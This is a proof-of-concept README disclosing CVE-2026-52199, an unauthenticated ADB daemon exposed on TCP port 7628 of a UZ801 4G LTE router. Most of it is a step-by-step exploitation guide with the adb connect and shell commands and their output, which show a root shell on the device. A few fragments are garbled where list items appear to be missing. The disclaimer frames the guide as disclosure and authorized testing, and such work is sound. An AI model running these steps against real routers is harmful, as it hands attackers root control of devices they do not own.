
Proof-of-concept exploit for CVE-2026-52199: unauthenticated remote code execution via exposed ADB daemon on UZ801 4G LTE router. Includes vulnerability analysis, impact assessment, and step-by-step exploitation guide for authorized security testing.
A critical Incorrect Access Control vulnerability exists in the Generic OEM UZ801_v2.1 4G LTE Router (Firmware V3.4.3). The device improperly exposes an unauthenticated Android Debug Bridge (ADB) daemon (/sbin/adbd) on TCP port 7628 to the adjacent network (LAN/WiFi).
An attacker connected to the device's local network can exploit this flaw to bypass all authentication mechanisms, establish an ADB connection, and execute arbitrary code with root privileges.

/sbin/adbdExploitation of this vulnerability leads to a complete system compromise. The impact includes:
root shell)The exploitation process requires no special tools other than the standard adb client and adjacent network access.
Step 1: Connect to the UZ801 router's WiFi network (The default Gateway is usually 192.168.100.1).
Step 2: Scan the device for open ports. Port 7628/TCP will be reported as open.
Step 3: From the attacker's machine, initiate an ADB connection to the undocumented port:
$ adb connect 192.168.100.1:7628
* daemon not running; starting now at tcp:5037
* daemon started successfully
connected to 192.168.100.1:7628
Step 4: Request an interactive shell:
$ adb -s 192.168.100.1:7628 shell
Step 5: The attacker is immediately dropped into a root shell without any authentication prompts:
root@msm8916_32_512:/ # id
uid=0(root) gid=0(root) context=u:r:su:s0
root@msm8916_32_512:/ # uname -a
Linux localhost 3.10.49 #1 SMP PREEMPT ... aarch64
For Educational and Authorized Security Research Purposes Only.
The information and proof-of-concept provided in this repository are intended solely for educational purposes and to help secure networks. The author (lamaper) is not responsible for any misuse of this information. Do not use this exploit against devices or networks you do not own or do not have explicit permission to test.